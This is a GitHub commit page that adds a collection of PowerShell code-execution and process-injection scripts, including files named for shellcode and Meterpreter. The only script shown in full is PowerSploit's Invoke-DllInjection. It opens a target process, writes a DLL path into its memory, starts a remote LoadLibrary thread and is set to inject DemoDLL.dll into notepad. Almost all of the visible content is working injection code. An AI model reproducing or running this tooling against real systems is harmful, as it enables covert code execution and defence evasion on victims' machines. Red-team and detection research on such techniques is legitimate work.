Skip to content

Commit eaafa5c

Browse files
author
3gstudent
committed
CodeExecution &Process Injection
Powershell
1 parent d5f9eb0 commit eaafa5c

18 files changed

+14447
-0
lines changed

1-CodeExecution-Shellcode.ps1

+776
Large diffs are not rendered by default.

2-CodeExecution-Meterpreter.ps1

+764
Large diffs are not rendered by default.

3-CodeExecution-ReadExe/3-CodeExecution-ReadExe.ps1

+2,950
Large diffs are not rendered by default.

3-CodeExecution-ReadExe/test.exe

424 KB
Binary file not shown.

4-CodeExecution-Exe(unicode+base64)/4-CodeExecution-Exe(base64).ps1

+2,951
Large diffs are not rendered by default.

4-CodeExecution-Exe(unicode+base64)/4-CodeExecution-Exe(unicode+base64).ps1

+2,954
Large diffs are not rendered by default.
338 Bytes
Binary file not shown.
424 KB
Binary file not shown.
Binary file not shown.
Binary file not shown.

5-CodeExecution-dll/5-CodeExecution-dll.ps1

+2,950
Large diffs are not rendered by default.

5-CodeExecution-dll/DemoDLL.dll

1020 KB
Binary file not shown.

5-CodeExecution-dll/DemoDLLx64.dll

1.26 MB
Binary file not shown.

6-Process Injection-Shellcode.ps1

+768
Large diffs are not rendered by default.
Binary file not shown.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,334 @@
1+
function Invoke-DllInjection
2+
{
3+
<#
4+
.SYNOPSIS
5+
6+
Injects a Dll into the process ID of your choosing.
7+
8+
PowerSploit Function: Invoke-DllInjection
9+
Author: Matthew Graeber (@mattifestation)
10+
License: BSD 3-Clause
11+
Required Dependencies: None
12+
Optional Dependencies: None
13+
14+
.DESCRIPTION
15+
16+
Invoke-DllInjection injects a Dll into an arbitrary process.
17+
18+
.PARAMETER ProcessID
19+
20+
Process ID of the process you want to inject a Dll into.
21+
22+
.PARAMETER Dll
23+
24+
Name of the dll to inject. This can be an absolute or relative path.
25+
26+
.EXAMPLE
27+
28+
Invoke-DllInjection -ProcessID 4274 -Dll evil.dll
29+
30+
Description
31+
-----------
32+
Inject 'evil.dll' into process ID 4274.
33+
34+
.NOTES
35+
36+
Use the '-Verbose' option to print detailed information.
37+
38+
.LINK
39+
40+
http://www.exploit-monday.com
41+
#>
42+
43+
Param (
44+
[Parameter( Position = 0, Mandatory = $True )]
45+
[Int]
46+
$ProcessID,
47+
48+
[Parameter( Position = 1, Mandatory = $True )]
49+
[String]
50+
$Dll
51+
)
52+
53+
# Confirm that the process you want to inject into exists
54+
try
55+
{
56+
Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
57+
}
58+
catch [System.Management.Automation.ActionPreferenceStopException]
59+
{
60+
Throw "Process does not exist!"
61+
}
62+
63+
# Confirm that the path to the dll exists
64+
try
65+
{
66+
$Dll = (Resolve-Path $Dll -ErrorAction Stop).Path
67+
Write-Verbose "Full path to Dll: $Dll"
68+
$AsciiEncoder = New-Object System.Text.ASCIIEncoding
69+
# Save the name of the dll in an ascii-encoded format. This name will be injected into the remote process.
70+
$DllByteArray = $AsciiEncoder.GetBytes($Dll)
71+
}
72+
catch [System.Management.Automation.ActionPreferenceStopException]
73+
{
74+
Throw "Invalid Dll path!"
75+
}
76+
77+
function Local:Get-DelegateType
78+
{
79+
Param
80+
(
81+
[OutputType([Type])]
82+
83+
[Parameter( Position = 0)]
84+
[Type[]]
85+
$Parameters = (New-Object Type[](0)),
86+
87+
[Parameter( Position = 1 )]
88+
[Type]
89+
$ReturnType = [Void]
90+
)
91+
92+
$Domain = [AppDomain]::CurrentDomain
93+
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
94+
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
95+
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
96+
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
97+
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
98+
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
99+
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
100+
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
101+
102+
Write-Output $TypeBuilder.CreateType()
103+
}
104+
105+
function Local:Get-ProcAddress
106+
{
107+
Param
108+
(
109+
[OutputType([IntPtr])]
110+
111+
[Parameter( Position = 0, Mandatory = $True )]
112+
[String]
113+
$Module,
114+
115+
[Parameter( Position = 1, Mandatory = $True )]
116+
[String]
117+
$Procedure
118+
)
119+
120+
# Get a reference to System.dll in the GAC
121+
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
122+
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
123+
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
124+
# Get a reference to the GetModuleHandle and GetProcAddress methods
125+
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
126+
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
127+
# Get a handle to the module specified
128+
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
129+
$tmpPtr = New-Object IntPtr
130+
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
131+
132+
# Return the address of the function
133+
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
134+
}
135+
136+
function Local:Get-PEArchitecture
137+
{
138+
Param
139+
(
140+
[Parameter( Position = 0,
141+
Mandatory = $True )]
142+
[String]
143+
$Path
144+
)
145+
146+
# Parse PE header to see if binary was compiled 32 or 64-bit
147+
$FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read)
148+
149+
[Byte[]] $MZHeader = New-Object Byte[](2)
150+
$FileStream.Read($MZHeader,0,2) | Out-Null
151+
152+
$Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)
153+
if ($Header -ne 'MZ')
154+
{
155+
$FileStream.Close()
156+
Throw 'Invalid PE header.'
157+
}
158+
159+
# Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header)
160+
$FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null
161+
162+
[Byte[]] $lfanew = New-Object Byte[](4)
163+
164+
# Read offset to the PE Header (will be read in reverse)
165+
$FileStream.Read($lfanew,0,4) | Out-Null
166+
$PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join ''))
167+
168+
# Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE
169+
$FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null
170+
[Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2)
171+
172+
# Read compiled architecture
173+
$FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null
174+
$Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '')
175+
$FileStream.Close()
176+
177+
if (($Architecture -ne '014C') -and ($Architecture -ne '8664'))
178+
{
179+
Throw 'Invalid PE header or unsupported architecture.'
180+
}
181+
182+
if ($Architecture -eq '014C')
183+
{
184+
Write-Output 'X86'
185+
}
186+
elseif ($Architecture -eq '8664')
187+
{
188+
Write-Output 'X64'
189+
}
190+
else
191+
{
192+
Write-Output 'OTHER'
193+
}
194+
}
195+
196+
197+
# Get addresses of and declare delegates for essential Win32 functions.
198+
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
199+
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
200+
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
201+
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
202+
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
203+
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
204+
$VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
205+
$VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32]) ([Bool])
206+
$VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
207+
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
208+
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
209+
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
210+
$RtlCreateUserThreadAddr = Get-ProcAddress ntdll.dll RtlCreateUserThread
211+
$RtlCreateUserThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Bool], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([UInt32])
212+
$RtlCreateUserThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RtlCreateUserThreadAddr, $RtlCreateUserThreadDelegate)
213+
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
214+
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
215+
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
216+
217+
# Determine the bitness of the running PowerShell process based upon the size of the IntPtr type.
218+
if ([IntPtr]::Size -eq 4)
219+
{
220+
$PowerShell32bit = $True
221+
}
222+
else
223+
{
224+
$PowerShell32bit = $False
225+
}
226+
227+
$OSArchitecture = (Get-WmiObject Win32_OperatingSystem).OSArchitecture
228+
229+
switch ($OSArchitecture)
230+
{
231+
'32-bit' { $64bitOS = $False }
232+
'64-bit' { $64bitOS = $True }
233+
}
234+
235+
# The address for IsWow64Process will be returned if and only if running on a 64-bit CPU. Otherwise, Get-ProcAddress will return $null.
236+
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
237+
238+
if ($IsWow64ProcessAddr)
239+
{
240+
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
241+
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
242+
}
243+
244+
$Architecture = Get-PEArchitecture $Dll
245+
246+
Write-Verbose "Architecture of the dll to be injected: $Architecture"
247+
248+
# Open a handle to the process you want to inject into
249+
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
250+
251+
if (!$hProcess)
252+
{
253+
Throw 'Unable to open process handle.'
254+
}
255+
256+
if ($64bitOS) # Only perform theses checks if OS is 64-bit
257+
{
258+
if ( ($Architecture -ne 'X86') -and ($Architecture -ne 'X64') )
259+
{
260+
Throw 'Only x86 or AMD64 architechtures supported.'
261+
}
262+
263+
# Determine is the process specified is 32 or 64 bit. Assume that it is 64-bit unless determined otherwise.
264+
$IsWow64 = $False
265+
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
266+
267+
if ( $PowerShell32bit -and ($Architecture -eq 'X64') )
268+
{
269+
Throw 'You cannot manipulate 64-bit code within 32-bit PowerShell. Open the 64-bit version and try again.'
270+
}
271+
272+
if ( (!$IsWow64) -and ($Architecture -eq 'X86') )
273+
{
274+
Throw 'You cannot inject a 32-bit DLL into a 64-bit process.'
275+
}
276+
277+
if ( $IsWow64 -and ($Architecture -eq 'X64') )
278+
{
279+
Throw 'You cannot inject a 64-bit DLL into a 32-bit process.'
280+
}
281+
}
282+
else
283+
{
284+
if ($Architecture -ne 'X86')
285+
{
286+
Throw 'PE file was not compiled for x86.'
287+
}
288+
}
289+
290+
# Get address of LoadLibraryA function
291+
$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
292+
Write-Verbose "LoadLibrary address: 0x$($LoadLibraryAddr.ToString("X$([IntPtr]::Size*2)"))"
293+
294+
# Reserve and commit memory to hold name of dll
295+
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Dll.Length, 0x3000, 4) # (0x3000 = Reserve|Commit, 4 = RW)
296+
if ($RemoteMemAddr -eq [IntPtr]::Zero)
297+
{
298+
Throw 'Unable to allocate memory in remote process. Try running PowerShell elevated.'
299+
}
300+
Write-Verbose "DLL path memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
301+
302+
# Write the name of the dll to the remote process address space
303+
$WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $DllByteArray, $Dll.Length, [Ref] 0) | Out-Null
304+
Write-Verbose "Dll path written sucessfully."
305+
306+
# Execute dll as a remote thread
307+
$Result = $RtlCreateUserThread.Invoke($hProcess, [IntPtr]::Zero, $False, 0, [IntPtr]::Zero, [IntPtr]::Zero, $LoadLibraryAddr, $RemoteMemAddr, [IntPtr]::Zero, [IntPtr]::Zero)
308+
if ($Result)
309+
{
310+
Throw "Unable to launch remote thread. NTSTATUS: 0x$($Result.ToString('X8'))"
311+
}
312+
313+
$VirtualFreeEx.Invoke($hProcess, $RemoteMemAddr, $Dll.Length, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
314+
315+
# Close process handle
316+
$CloseHandle.Invoke($hProcess) | Out-Null
317+
318+
# Extract just the filename from the provided path to the dll.
319+
$FileName = Split-Path $Dll -Leaf
320+
$DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.Contains($FileName) }
321+
322+
if (!$DllInfo)
323+
{
324+
Throw "Dll did dot inject properly into the victim process."
325+
}
326+
327+
Write-Verbose 'Dll injection complete!'
328+
329+
$DllInfo
330+
}
331+
$Proc = Get-Process notepad
332+
333+
334+
Invoke-DllInjection -ProcessId $Proc.Id -Dll DemoDLL.dll

7-Process Injection-dll/DemoDLL.dll

1020 KB
Binary file not shown.
1.26 MB
Binary file not shown.

0 commit comments

Comments
 (0)